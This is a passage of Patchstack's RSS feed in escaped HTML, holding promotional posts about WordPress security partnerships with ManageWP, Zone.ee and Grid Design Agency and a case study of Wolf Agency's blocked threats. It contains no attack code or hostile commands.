&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;576&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-1024x576.png&quot; alt=&quot;MainWP Patchstack integration&quot; class=&quot;wp-image-25576&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-1024x576.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-300x169.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-768x432.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-1536x864.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/02/Purple-2-1-scaled.png 1920w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;No separate logins, no switching between platforms. Simply protection running automatically inside the dashboard that agencies already use every day.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;The Patchstack team didn’t just hand us an API and wish us luck. We worked together to make sure the integration felt native to ManageWP, that the data showed up where our users expected it, and that enabling protection was as simple as clicking a button. That collaborative approach made all the difference.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;768&quot; height=&quot;528&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1.webp&quot; class=&quot;wp-image-25574&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1.webp 768w, https://wp.patchstack.com/wp-content/uploads/2026/02/predrag-zdravkovic-768x528-1-300x206.webp 300w&quot; sizes=&quot;auto, (max-width: 768px) 100vw, 768px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Predrag Zdravkovic, ManageWP&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Partnering to protect WordPress professionals&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With Patchstack Protection now built directly into the ManageWP dashboard, WordPress professionals can stay protected automatically – without adding another tool, another login, or another thing to constantly monitor. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Vulnerabilities get mitigated before they go public, sites stay secure in the background, and updates can happen on your schedule instead of in panic mode.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Together with ManageWP, we’re making proactive vulnerability mitigation part of the everyday WordPress workflow – not an afterthought, not a separate tool, but &lt;strong&gt;a built-in layer of protection.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And this is just the beginning.&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>Zone.ee Partners with Patchstack for Automatic WordPress Protection</title><link>https://patchstack.com/articles/zone-ee-partners-with-patchstack-for-automatic-wordpress-protection/</link><guid isPermaLink="true">https://patchstack.com/articles/zone-ee-partners-with-patchstack-for-automatic-wordpress-protection/</guid><description>We’re excited to announce a new partnership with Zone.ee, one of the leading hosting providers in the Baltics, known for delivering reliable infrastructure and user-friendly tools to businesses, developers, and agencies. Through this partnership, Patchstack’s proactive WordPress vulnerability protection is now available directly via Zone+, making advanced security simple to activate and seamlessly integrated into […]
</description><pubDate>Tue, 17 Feb 2026 13:10:25 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re excited to announce a new partnership with &lt;strong&gt;&lt;a href=&quot;https://zone.ee&quot;&gt;Zone.ee&lt;/a&gt;&lt;/strong&gt;, one of the leading hosting providers in the Baltics, known for delivering reliable infrastructure and user-friendly tools to businesses, developers, and agencies.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Through this partnership, &lt;strong&gt;Patchstack’s proactive WordPress vulnerability protection is now &lt;a href=&quot;https://www.zone.ee/blogi/zone-ja-patchstack-partnerlus-mis-tostab-wordpressi-turvalisuse-uuele-tasemele/&quot;&gt;available directly via Zone+&lt;/a&gt;&lt;/strong&gt;, making advanced security simple to activate and seamlessly integrated into the hosting experience.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;At Zone, we believe WordPress security should be proactive, not reactive. Partnering with Patchstack allows us to deliver advanced vulnerability protection directly to our customers without added complexity. Through Zone+, our customers can activate Patchstack in just a few clicks, making professional-grade security part of their everyday workflow. Together, we’re setting a higher standard for WordPress security.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191.jpeg&quot; class=&quot;wp-image-25593&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Kaarel Urva, Zone.ee&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Raising the standard for WordPress security&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;With &lt;a href=&quot;https://patchstack.com/whitepaper/state-of-wordpress-security-in-2025/&quot;&gt;thousands of new WordPress vulnerabilities discovered every year&lt;/a&gt; and exploit attempts often beginning within 5 hours of disclosure, proactive mitigation is no longer optional. It’s essential.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And at Zone, security isn’t treated as an afterthought. It’s built into the platform experience.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack’s protection is a natural fit: powered by the world’s largest WordPress vulnerability intelligence network, trusted by developers, agencies, and hosting providers globally.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Seamless activation through Zone+&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack is now available inside the &lt;strong&gt;Zone+ app catalogue&lt;/strong&gt;, allowing customers to activate protection in just a few clicks to receive:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Continuous vulnerability monitoring&lt;/li&gt;



&lt;li&gt;Automatic virtual mitigation rules to prevent vulnerability exploits&lt;/li&gt;



&lt;li&gt;Application-layer protection against plugin and theme exploits&lt;/li&gt;



&lt;li&gt;Lightweight security with no performance trade-offs or code changes&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This partnership ensures that professional-grade WordPress security is no longer reserved for large teams. It’s accessible to every Zone customer without complex setup or additional infrastructure changes. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Protection runs quietly in the background, while users maintain full visibility into detected vulnerabilities and blocked threats.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As Zone highlights:&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Proactive WordPress security shouldn’t be complicated. Together with Patchstack and through Zone+, we’re making advanced vulnerability protection simple, seamless, and accessible for our customers.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191.jpeg&quot; class=&quot;wp-image-25593&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/02/1712224720191-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Kaarel Urva, Zone.ee&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Setting a higher bar for hosting security&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Hosting providers play a critical role in shaping the security posture of the WordPress ecosystem. When protection is built into the hosting layer, &lt;strong&gt;customers don’t have to think about whether they’re secure – they simply &lt;em&gt;are&lt;/em&gt;.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;After all, security shouldn’t depend on how technical a customer is. It should be part of the foundation.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Together with Zone.ee, we’re making that foundation stronger.&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>Grid Design Agency Partners with Patchstack to Strengthen WordPress Security</title><link>https://patchstack.com/articles/grid-design-agency-partners-with-patchstack-to-strengthen-wordpress-security/</link><guid isPermaLink="true">https://patchstack.com/articles/grid-design-agency-partners-with-patchstack-to-strengthen-wordpress-security/</guid><description>We’re happy to share that Grid Design Agency, a cutting-edge brand and website development agency based in London, the UK, has just introduced Patchstack to secure its clients’ websites. Known for building high-performing, design-led WordPress experiences, Grid Design Agency now uses Patchstack to ensure those sites stay secure long after launch. Securing digital experiences with […]
</description><pubDate>Mon, 02 Feb 2026 12:53:46 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re happy to share that &lt;a href=&quot;https://griddesign.co.uk/&quot;&gt;Grid Design Agency&lt;/a&gt;, a cutting-edge brand and website development agency based in London, the UK, has just introduced Patchstack to secure its clients’ websites.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Known for building high-performing, design-led WordPress experiences, Grid Design Agency now uses Patchstack to ensure those sites stay secure long after launch.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;We design and build WordPress sites for serious businesses, where security at scale is a real challenge. Patchstack handles it quietly in the background, so we can focus on shipping fast, scalable products with confidence.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;225&quot; height=&quot;225&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/images-1.jpeg&quot; class=&quot;wp-image-25466&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/images-1.jpeg 225w, https://wp.patchstack.com/wp-content/uploads/2026/02/images-1-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 225px) 100vw, 225px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Sy Crampton, Director @ Grid Design Agency&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Securing digital experiences with Patchstack&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Grid Design Agency now includes Patchstack as part of its WordPress security stack to ensure clients’ &lt;strong&gt;websites are protected&lt;/strong&gt; against known and emerging vulnerabilities.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack adds an extra layer of protection by continuously monitoring the WordPress ecosystem for newly disclosed vulnerabilities and &lt;strong&gt;blocking exploitation attempts&lt;/strong&gt; before damage occurs. With hyper-targeted mitigation rules, threats are stopped at the source – without impacting site performance or functionality.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This proactive approach allows Grid Design Agency to deliver peace of mind alongside exceptional design and development work.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Helping agencies deliver better security&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;By integrating Patchstack into its security stack, Grid Design Agency strengthens its ability to protect client websites at scale, reducing risk, minimizing emergency fixes, and helping clients stay online and trusted.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re excited to join forces with Grid Design Agency and help ensure that the incredible websites they build remain secure over time.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And with Patchstack now part of their security stack, Grid Design Agency joins the company of WordPress professionals and hosts shifting to proactive protection. And for agencies looking to raise the standard of WordPress security, Grid Design shows what’s possible.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>Case study: Wolf Agency’s proactive approach blocks 67k+ threats in 30 days with Patchstack</title><link>https://patchstack.com/articles/case-study-wolf-agencys-proactive-approach-blocks-67k-threats-in-30-days-with-patchstack/</link><guid isPermaLink="true">https://patchstack.com/articles/case-study-wolf-agencys-proactive-approach-blocks-67k-threats-in-30-days-with-patchstack/</guid><description>At Wolf Agency, proactive thinking isn’t a buzzword. The agency manages WordPress websites for clients who want to focus on growing their businesses, not worrying about technical details or security incidents. While Wolf Agency already had security measures in place, something was missing: timeliness. Their previous security solution showed blocked attacks with a delay, so […]
</description><pubDate>Mon, 02 Feb 2026 12:48:16 GMT</pubDate><content:encoded>&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div class=&quot;a-fade-up blocks-number-block  wp-block-patchstack-general-blocks-number-block&quot;&gt;
            &lt;p class=&quot;blocks-number-block__number&quot;&gt;67K+&lt;/p&gt;
        &lt;p class=&quot;blocks-number-block__text&quot;&gt;Threats blocked in 30 days&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;At &lt;a href=&quot;https://wolfweb.ee&quot;&gt;&lt;strong&gt;Wolf Agency&lt;/strong&gt;&lt;/a&gt;, proactive thinking isn’t a buzzword. The agency manages WordPress websites for clients who want to focus on growing their businesses, not worrying about technical details or security incidents.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;While Wolf Agency already had security measures in place, something was missing: &lt;strong&gt;timeliness&lt;/strong&gt;. Their previous security solution showed blocked attacks with a delay, so they couldn’t anticipate emerging threats.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;They needed visibility &lt;em&gt;and&lt;/em&gt; protection. And that’s when they turned to Patchstack.&lt;/p&gt;


&lt;div class=&quot;block-single-testimonial-wrapper  wp-block-patchstack-general-blocks-single-testimonial&quot;&gt;
                                    &lt;/div&gt;

&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;If you’re serious about letting clients focus on growing their business while you handle their web presence, you need complete visibility into the security situation. Not just blocking attacks – understanding and controlling the entire security environment. And that’s exactly what Patchstack helps us do.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1751575661755.jpeg&quot; class=&quot;wp-image-25469&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/02/1751575661755.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/02/1751575661755-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Maru Arukask, Founder @ Wolf Agency&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The challenge: Knowing what’s vulnerable (before it’s exploited)&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Before Patchstack, Wolf Agency’s security setup did its job – attacks were blocked. But this came with a very long delay, and the team also couldn’t: &lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Mitigate as soon as a vulnerability became known&lt;/li&gt;



&lt;li&gt;See vulnerabilities developing across client sites&lt;/li&gt;



&lt;li&gt;Understand which plugins or themes introduced new risk&lt;/li&gt;



&lt;li&gt;Anticipate emerging threats before they turned into attacks&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;For an agency built on proactivity, this was limiting.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Real proactive security, in Wolf Agency’s view, means &lt;strong&gt;knowing what’s vulnerable before it’s exploited, not just reacting after the fact. &lt;/strong&gt;They wanted full insight into the security landscape across all client websites and immediate protection.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;The solution: Actionable visibility and fastest protection&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack delivered exactly what Wolf Agency was missing: &lt;strong&gt;the fastest protection&lt;/strong&gt; and &lt;strong&gt;clear, actionable visibility&lt;/strong&gt; into vulnerabilities and threats across all managed sites with the world’s &lt;strong&gt;most effective and fastest vulnerability mitigation&lt;/strong&gt;. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Implementation&lt;/strong&gt; was smooth. With support from the Patchstack team, Wolf Agency &lt;strong&gt;migrated all client sites at once&lt;/strong&gt;. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The impact was immediate. Instead of only seeing blocked attacks, the team can now:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Identify vulnerabilities as they appear&lt;/li&gt;



&lt;li&gt;Understand threat patterns across client sites&lt;/li&gt;



&lt;li&gt;Keep their clients’ sites secure while waiting for plugin developers to issue fixes and safely test before applying them&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Within days, the difference was clear: &lt;strong&gt;Wolf Agency finally had a complete picture of their clients’ WordPress security posture.&lt;/strong&gt;&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;431&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-1024x431.png&quot; alt=&quot;what Patchstack dashboard looks like&quot; class=&quot;wp-image-23453&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-1024x431.png 1024w, https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-300x126.png 300w, https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-768x323.png 768w, https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-1536x646.png 1536w, https://wp.patchstack.com/wp-content/uploads/2025/07/dash-main-2048x862.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Image not from Wolf Agency’s account, but from a demo account.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Integrating Patchstack&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Getting started has been simplified to the maximum.&lt;/p&gt;


&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;1️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;Add the website you want to protect to Patchstack (individually or in bulk). &lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;2️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;Enable the plugins individually or in bulk for multiple sites. &lt;/p&gt;
        &lt;/div&gt;

&lt;div style=&quot;gap:;&quot; class=&quot;a-fade-up general-card general-cardu002du002dlight  wp-block-patchstack-general-blocks-general-card&quot;&gt;
    &lt;div class=&quot;general-card__image-wrapper &quot; style=&quot;display:none;&quot;&gt;
                            &lt;/div&gt;
            &lt;h3 class=&quot;general-card__title&quot; style=&quot;font-size:;color:;&quot;&gt;3️⃣&lt;/h3&gt;
                &lt;p class=&quot;general-card__text &quot;&gt;Sites are protected! 🎉&lt;/p&gt;
        &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The results&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Since implementing Patchstack, &lt;strong&gt;Wolf Agency has seen clear, measurable results:&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;67,000+ threats blocked in 30 days&lt;/li&gt;



&lt;li&gt;Full visibility into vulnerabilities across all client sites&lt;/li&gt;



&lt;li&gt;Vulnerabilities identified and mitigated before exploitation&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;What truly changed, however, was &lt;strong&gt;control&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Instead of simply seeing attacks being blocked, the team now understands the full security landscape. Wolf Agency can see what’s vulnerable, track emerging risks, and act proactively. This clarity removes uncertainty and &lt;strong&gt;creates mental space that’s incredibly valuable&lt;/strong&gt; for an agency trusted to manage clients’ &lt;em&gt;entire&lt;/em&gt; web presence.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Wolf Agency’s customers don’t want technical reports or security noise. They want &lt;strong&gt;reassurance&lt;/strong&gt;. With Patchstack in place, the agency can confidently tell clients that their site is secure, everything is being monitored, and they can stay focused on growing their business. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Reactive tools only show what was blocked. &lt;strong&gt;Patchstack reveals the entire security environment: &lt;/strong&gt;vulnerabilities, risks, and emerging threats. And that’s why it’s now an integral part of how Wolf Agency delivers reliable WordPress websites that increase clients’ revenue – without asking for peace of mind in return. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Ready to integrate security into your care plans? &lt;/strong&gt;&lt;a href=&quot;https://patchstack.com/pricing&quot;&gt;Try Patchstack.&lt;/a&gt; &lt;/p&gt;



&lt;div style=&quot;height:32px&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;


&lt;div style=&quot;gap:;&quot; class=&quot;blocks-container       wp-block-patchstack-general-blocks-container&quot;&gt;
    
&lt;div class=&quot;block-hosts-logos block-hosts-logosu002du002dleft block-hosts-logos--dark wp-block-patchstack-general-blocks-hosts-logos&quot;&gt;
    &lt;h3 class=&quot;a-fade-up block-trusted__title&quot;&gt;trusted security partner for&lt;/h3&gt;
    &lt;div class=&quot;block-hosts-logos__images-wrapper block-hosts-logos__images-wrapper--flex&quot;&gt;
        &lt;!-- Generator: Adobe Illustrator 28.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 1250.2 277.5&quot; preserveAspectRatio=&quot;xMidYMid&quot; style=&quot;overflow: hidden;&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;defs&gt;
&lt;/defs&gt;
            &lt;!-- Generator: Adobe Illustrator 28.7.5, SVG Export Plug-In . SVG Version: 1.2.0 Build 176)  --&gt;
            &lt;g&gt;
